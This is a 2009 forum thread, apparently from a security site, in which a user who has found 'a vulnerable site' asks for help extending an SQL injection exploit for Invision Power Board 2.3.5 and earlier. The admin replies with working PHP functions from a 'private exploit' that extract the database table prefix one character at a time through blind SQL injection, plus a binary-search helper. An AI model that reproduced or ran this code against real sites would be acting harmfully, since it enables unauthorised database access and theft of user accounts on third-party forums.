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IPB <= 2.3.5 injeciton - Get table prefix and usernames? |
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 Posted: Sat Jul 11, 2009 6:00 pm |
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| renaker |
| Active user |
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| Joined: Nov 15, 2008 |
| Posts: 27 |
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Hi everyone,
I've been using waraxe's IPB <= 2.3.5 (version 1.2). I've come across what would be a vulnerable site, but the table prefix isn't ibf_. Another issue is getting the username, since I'm guessing most people rely on the display name being the username.
I can code php pretty well, but my mysql knowledge is pretty primitive. Does anyone have a script out there that ether gets the table prefix, or a username from the user id? If not, if someone could so much as present the concept, I'd love to try and write a script for it and share. I've been semi-studying waraxe's script, and get I alot of it, but the mysql stuff still kinda tarts me out lol. |
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| Posted: Sat Jul 11, 2009 7:37 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Someone allready did modifications you are interested in:
http://www.waraxe.us/ftopict-3942.html
And for your information - here is code snippet, that does the prefix fetching magic:
| Code: |
function get_prefix()
{
$out = '';
echo "Fetching prefix ...\n";
$p = '(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)=1';
if(test_condition($p) === false)
{
die('Failed check for table count');
}
$p = '(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)';
$len = get_num(0, 100, $p);
$len -= 16;
if($len < 0)
{
die('Prefix fetch failed!');
}
else
{
echo "prefix length is $len bytes\n";
}
//%_members_converge == 0x256d656d626572735f636f6e7665726765
$p = "(SELECT ORD(SUBSTR(table_name,%d,1)) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)";
for($i = 1; $i < $len + 1; $i ++)
{
$p2 = sprintf($p, $i);
$ch = chr(get_num(32, 128, $p2));
echo "Got pos $i --> $ch\n";
$out .= "$ch";
echo "Current prefix: $out \n";
}
echo "\nFinal prefix: $out\n\n";
return $out;
}
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It's coming from private exploit, but you can modify it for your own needs.
P.S. MySql version needs to be >= 5.0 because of the information_schema meta database. If MySql is older, then you need to use bruteforce or wordlists in order to guess the prefix. |
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| Posted: Sat Jul 11, 2009 8:53 pm |
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| renaker |
| Active user |
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| Joined: Nov 15, 2008 |
| Posts: 27 |
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very cool, thanks a lot waraxe 
edit: any chance you could include the get_num function as well, it calls it, i don't have it? It would save me a lot of time <3 |
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| Posted: Sun Jul 12, 2009 1:17 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| renaker wrote: | very cool, thanks a lot waraxe
edit: any chance you could include the get_num function as well, it calls it, i don't have it? It would save me a lot of time <3 |
| Code: |
function get_num($min, $max, $pattern)
{
$curr = $out = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$out = $max;
}
else
{
$out = $min;
}
break;
}
$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
echo "Current test: $curr-$max-$min\n";
}
return $out;
}
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| Posted: Sun Jul 12, 2009 5:55 pm |
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| renaker |
| Active user |
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| Joined: Nov 15, 2008 |
| Posts: 27 |
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thanks agian.  |
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